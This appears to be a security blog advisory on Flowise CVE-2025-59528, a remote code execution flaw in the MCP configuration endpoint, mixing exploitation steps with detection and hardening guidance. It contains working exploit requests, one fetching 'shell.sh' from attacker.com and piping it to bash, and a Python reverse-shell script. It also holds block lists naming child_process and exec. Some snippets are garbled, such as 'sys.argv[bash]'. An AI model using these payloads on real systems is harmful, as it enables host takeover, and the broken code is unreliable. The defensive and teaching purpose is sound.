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Introduction:
Flowise, a widely adopted low-code platform for building LLM-based applications, has disclosed a critical remote code execution vulnerability designated CVE-2025-59528 with a CVSS score of 10.0 – the highest severity rating. The flaw resides in the MCP (Model Context Protocol) configuration endpoint, allowing an attacker possessing any valid API token to inject and execute arbitrary JavaScript with full system privileges, leading to complete host takeover. With over 12,000 exposed instances identified on the public internet and active exploitation already confirmed, this vulnerability poses an immediate and catastrophic risk to organizations leveraging Flowise in production environments.
Learning Objectives:
- Understand the technical mechanics of CVE-2025-59528, including how MCP configuration injection leads to unauthenticated remote code execution.
- Learn to detect exposed Flowise instances and identify indicators of compromise (IOCs) across Linux and Windows systems.
- Implement immediate mitigation strategies, including patching, API token rotation, network hardening, and input validation.
- Apply practical commands and scripts for vulnerability assessment, exploitation simulation (authorized environments), and system recovery.
You Should Know:
1. CVE-2025-59528 Deep Dive: MCP Configuration Injection Exploitation
The vulnerability stems from improper sanitization of user-supplied input in the `/api/v1/mcp/config` endpoint. When Flowise receives a configuration update via a POST request containing a JSON payload, the backend Node.js process evaluates the `config` field without adequate validation. An attacker with a valid API token (which may be leaked via default configurations, exposed environment variables, or brute-forced due to weak entropy) can inject JavaScript that invokes `child_process.exec` or `require` to execute arbitrary system commands. Because Flowise often runs with elevated privileges (root on Linux or SYSTEM on Windows), this results in full host compromise.
Step‑by‑step guide to detect and simulate the exploit (authorized testing only):
Linux Reconnaissance & Exploitation:
Step 1: Discover exposed Flowise instances on your network
nmap -p 3000 --open -sV --script http-title 192.168.1.0/24 | grep -B5 "Flowise"
Step 2: Identify default or leaked API tokens (check logs, env files, or browser storage)
grep -r "FLOWISE_API_TOKEN" /opt/flowise/.env /var/log/flowise/.log 2>/dev/null
Step 3: Craft and send the malicious payload (replace <TARGET_IP> and <TOKEN>)
curl -X POST http://<TARGET_IP>:3000/api/v1/mcp/config \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"config": "require(\"child_process\").exec(\"curl http://attacker.com/shell.sh | bash\")"}'
Step 4: Verify code execution (e.g., create a marker file)
curl -X POST http://<TARGET_IP>:3000/api/v1/mcp/config \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"config": "require(\"fs\").writeFileSync(\"/tmp/pwned\", \"exploited\")"}'
Windows PowerShell Exploitation:
Step 1: Test if the instance is vulnerable (returns 200 OK on success)
$body = @{ config = "require('child_process').exec('echo exploited > C:\temp\pwned.txt')" } | ConvertTo-Json
Invoke-RestMethod -Uri "http://<TARGET_IP>:3000/api/v1/mcp/config" `
-Method POST `
-Headers @{Authorization = "Bearer <TOKEN>"} `
-Body $body `
-ContentType "application/json"
- Detecting Compromised Flowise Instances – IOCs and Forensics
Given active exploitation, security teams must rapidly audit existing deployments. Use the following commands to identify signs of compromise:
Linux Detection Commands:
Find unexpected Node.js child processes (reverse shells, miners) ps aux | grep -E "node.(nc|bash|sh|curl|wget|perl|python)" | grep -v grep Check for unauthorized outbound connections on common C2 ports netstat -anp | grep ESTABLISHED | grep -E ":(4444|1337|9001|8080|53)" Analyze Flowise logs for malicious MCP config POSTs grep -i "mcp/config" /var/log/flowise/.log | grep -E "(require|child_process|exec|eval)" Search for newly created cron jobs (persistence mechanism) crontab -l -u flowise 2>/dev/null | grep -v "^"
Windows Detection (PowerShell as Admin):
Find suspicious Node.js processes with command-line arguments
Get-WmiObject Win32_Process -Filter "Name='node.exe'" | Select-Object CommandLine, ProcessId
Check for unusual outbound connections
Get-NetTCPConnection | Where-Object {$<em>.State -eq "Established" -and ($</em>.RemotePort -in 4444,1337,9001,8080)}
Search event logs for API token misuse (if logging enabled)
Get-WinEvent -LogName "Application" | Where-Object { $<em>.Message -like "mcp/config" -and $</em>.Message -like "require" }
3. Immediate Mitigation and Hardening
Organizations must act immediately to block exploitation and remediate affected systems.
Step 1: Patch Flowise to a non‑vulnerable version
Docker-based deployment docker pull flowise/flowise:latest docker-compose down docker-compose up -d Verify patch level (check for fixed version >= 2.2.5) curl -s http://localhost:3000/api/v1/version | jq .version
Step 2: If patching is impossible, disable the MCP endpoint via reverse proxy
Nginx configuration – block all requests to /api/v1/mcp/
location /api/v1/mcp/ {
return 403;
Or return 444 to drop connection silently
}
Step 3: Rotate all API tokens immediately
Using Flowise CLI (if available) flowise token rotate --all --force Or manually regenerate tokens via database update (PostgreSQL example) psql -U flowise -d flowise -c "UPDATE api_token SET token = gen_random_uuid() WHERE is_active = true;"
Step 4: Implement network segmentation and firewall rules
Linux (iptables) – allow only trusted IPs to port 3000 iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 3000 -j DROP Windows Firewall – block public access New-NetFirewallRule -DisplayName "Block Flowise Public" ` -Direction Inbound -LocalPort 3000 -Protocol TCP -Action Block ` -RemoteAddress Any
Step 5: Add application-level input validation
// Middleware to sanitize MCP config input (add to Flowise server.js)
app.post('/api/v1/mcp/config', (req, res, next) => {
const dangerousPatterns = /(require|child_process|exec|eval|Function|setTimeout\s()/i;
if (dangerousPatterns.test(JSON.stringify(req.body.config))) {
return res.status(400).json({ error: 'Invalid configuration payload' });
}
next();
});
4. API Security Hardening to Prevent Token Abuse
Since this vulnerability requires only a valid API token, organizations must overhaul token management practices. Below are concrete implementations:
Implement short-lived JWT tokens with scope restrictions:
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
// Generate token with 15-minute expiry and IP binding
function generateSecureToken(userId, clientIp) {
return jwt.sign(
{
sub: userId,
scope: 'mcp:readonly', // Restrict to read-only MCP operations
clientIp: clientIp,
jti: crypto.randomBytes(16).toString('hex')
},
process.env.JWT_SECRET,
{ expiresIn: '15m', algorithm: 'HS256' }
);
}
// Validate token and enforce IP match
function validateToken(req, res, next) {
const token = req.headers.authorization?.split(' ')[bash];
if (!token) return res.status(401).json({ error: 'Missing token' });
jwt.verify(token, process.env.JWT_SECRET, (err, decoded) => {
if (err) return res.status(403).json({ error: 'Invalid token' });
if (decoded.clientIp !== req.ip) return res.status(403).json({ error: 'IP mismatch' });
if (decoded.scope !== 'mcp:readonly') return res.status(403).json({ error: 'Insufficient scope' });
req.user = decoded;
next();
});
}
Rate limiting to prevent brute force:
Install express-rate-limit
npm install express-rate-limit
Add to Flowise server
const rateLimit = require('express-rate-limit');
const mcpLimiter = rateLimit({
windowMs: 15 60 1000, // 15 minutes
max: 10, // 10 requests per window
message: 'Too many MCP config requests, please try again later.'
});
app.use('/api/v1/mcp/config', mcpLimiter);
Windows-specific API protection using IIS Request Filtering:
<!-- Add to web.config under <system.webServer> -->
<security>
<requestFiltering>
<filteringRules>
<filteringRule name="BlockMCPCodeInjection" scanUrl="false" scanQueryString="false" scanAllRaw="true">
<scanHeaders>
<add requestHeader="Content-Type" />
<add requestHeader="Authorization" />
</scanHeaders>
<appliesTo>
<add fileExtension=".json" />
</appliesTo>
<denyStrings>
<add string="require('child_process')" />
<add string="exec(" />
<add string="eval(" />
<add string="Function(" />
</denyStrings>
</filteringRule>
</filteringRules>
</requestFiltering>
</security>
- Purple Team Exercise: Simulating the Attack for Defensive Validation
Conduct a controlled simulation to verify your environment’s security posture. This exercise assumes you have isolated, non-production Flowise instance.
Step 1: Deploy a vulnerable Flowise container
docker run -d --name flowise-vuln -p 3000:3000 flowise/flowise:1.8.0
docker exec flowise-vuln node -e "console.log('Vulnerable instance running')"
Step 2: Obtain a valid API token (from UI or default)
Extract default token from environment (if set) docker exec flowise-vuln cat /app/.env | grep API_TOKEN
Step 3: Execute the RCE payload and establish persistence
!/usr/bin/env python3
import requests, json, sys
target = "http://localhost:3000"
token = sys.argv[bash] if len(sys.argv) > 1 else input("Token: ")
Payload: reverse shell to attacker's machine (change IP and port)
payload = {
"config": "require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\\"')"
}
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
try:
r = requests.post(f"{target}/api/v1/mcp/config", headers=headers, json=payload)
print(f"Response: {r.status_code} - {r.text}")
except Exception as e:
print(f"Exploit failed: {e}")
Step 4: Detect the compromise using SIEM queries (example Splunk)
index=flowise sourcetype=access_log uri="/api/v1/mcp/config" | where like(method, "POST") | rex field=_raw "Authorization: Bearer (?<token_used>[^\s]+)" | eval suspicious=if(match(body, "(require|child_process|exec)"), "YES", "NO") | stats count by client_ip, token_used, suspicious
Step 5: Automate remediation playbook (Ansible example)
- name: Flowise CVE-2025-59528 Remediation
hosts: flowise_servers
tasks:
- name: Stop vulnerable container
docker_container:
name: flowise
state: stopped
- name: Pull patched image
docker_image:
name: flowise/flowise
tag: latest
source: pull
- name: Restart with patched version
docker_container:
name: flowise
image: flowise/flowise:latest
ports: "3000:3000"
state: started
- name: Regenerate API tokens via DB command
command: docker exec postgres psql -U flowise -c "UPDATE api_token SET token = encode(gen_random_bytes(32), 'hex')"
- name: Add iptables rule to restrict port 3000
iptables:
chain: INPUT
protocol: tcp
destination_port: 3000
source: "{{ trusted_subnet }}"
jump: ACCEPT
comment: "Allow trusted subnet to Flowise"
What Undercode Say:
- The CVSS 10.0 rating is fully justified: while an API token is required, these tokens are routinely exposed through default configurations, frontend JavaScript bundles, log files, and insecure CI/CD pipelines. Combined with the ability to execute arbitrary code as root, this creates a trivial path to full system compromise.
- Over 12,000 exposed instances represent a massive supply chain risk. Organizations using Flowise for LLM workflows must treat this as an active zero-day – immediate inventory, patching, and token rotation are non‑negotiable. Threat actors are already automating scans for port 3000.
- This vulnerability underscores a broader industry failure: low-code platforms prioritize rapid development over input validation. The MCP endpoint should never have evaluated user-supplied strings as code. Expect similar flaws in other LLM orchestration tools (LangFlow, Dify, RAGFlow) as attackers pivot to configuration APIs.
Prediction:
Within the next 72 hours, widespread scanning for port 3000 will intensify, followed by automated exploitation campaigns deploying cryptominers and ransomware. Organizations that fail to patch by the end of the week will likely experience breaches, particularly in cloud environments where Flowise instances are exposed via load balancers. Long-term, this incident will trigger a security audit of all low-code platforms’ configuration endpoints, leading to mandatory sandboxing of JavaScript evaluation and the adoption of short-lived, scope-bound API tokens with mandatory IP binding. The MCP protocol specification itself may be revised to forbid dynamic code execution from untrusted inputs.
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IT/Security Reporter URL:
Reported By: Hackermohitkumar Flowise – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
